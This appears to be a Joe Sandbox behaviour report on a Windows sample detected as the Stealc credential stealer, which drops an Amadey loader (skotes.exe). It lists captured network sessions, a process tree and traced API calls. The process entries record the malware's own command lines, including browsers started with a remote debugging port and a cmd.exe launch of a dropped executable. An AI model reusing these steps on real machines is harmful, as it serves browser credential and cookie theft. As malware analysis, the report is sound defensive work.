2024-11-12 07:30:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:41 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 7accfaa7-701e-0032-50a0-34a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073041Z-17df447cdb5jg4kthC1DFWux4n0000000bk000000000cnsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	57105	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:41 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:41 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 18f2d69b-e01e-0003-44a1-340fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073041Z-17df447cdb528ltlhC1DFWnt1c0000000bgg0000000041we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:41 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	57107	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:41 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:42 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a8f5521d-f01e-003f-49a0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073041Z-17df447cdb528ltlhC1DFWnt1c0000000bhg0000000026n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:42 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	57108	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:41 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:42 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:41 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073041Z-16547b76f7fj897nhC1DFWdwq40000000f2000000000hd68 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:42 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Target ID:	0
Start time:	02:30:04
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x280000
File size:	1'802'752 bytes
MD5 hash:	3A3CE10C6085D54AB1AE34EB6C39F5D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2526195665.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2079793424.0000000005010000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2528465742.000000000120E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:30:15
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:30:15
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2212,i,6568424161687169964,14682761372451509383,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:30:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:30:25
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2268,i,3616982230694012629,6171515150596214737,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:30:25
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:30:25
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:30:28
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6880 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:30:29
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6952 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:30:48
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAAFIJKKEH.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:30:49
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:30:49
Start date:	12/11/2024
Path:	C:\Users\user\DocumentsBAAFIJKKEH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsBAAFIJKKEH.exe"
Imagebase:	0xd80000
File size:	3'249'152 bytes
MD5 hash:	24990FADD993AEA1F187795842B395D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2614974454.0000000000D81000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:30:56
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xbb0000
File size:	3'249'152 bytes
MD5 hash:	24990FADD993AEA1F187795842B395D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2643149853.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:31:00
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xbb0000
File size:	3'249'152 bytes
MD5 hash:	24990FADD993AEA1F187795842B395D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2674975786.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:31:25
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7160 --field-trial-handle=2004,i,1050887210429599906,5484965300696754300,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	02:32:00
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xbb0000
File size:	3'249'152 bytes
MD5 hash:	24990FADD993AEA1F187795842B395D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.3326359008.0000000000BB1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GTC, xrefs: 6C653912
GenuntelineI, xrefs: 6C653639
AuthcAMDenti, xrefs: 6C653946
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
QPC, xrefs: 6C6538FC

Memory Dump Source

Source File: 00000000.00000002.2556451626.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2556420514.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556662838.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556704331.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2556451626.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2556420514.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556662838.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556704331.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2556451626.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2556420514.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556613185.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556662838.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2556704331.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C780700 Relevance: 145.2, APIs: 96, Instructions: 1215threadmemorytimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C780747

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C780760

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
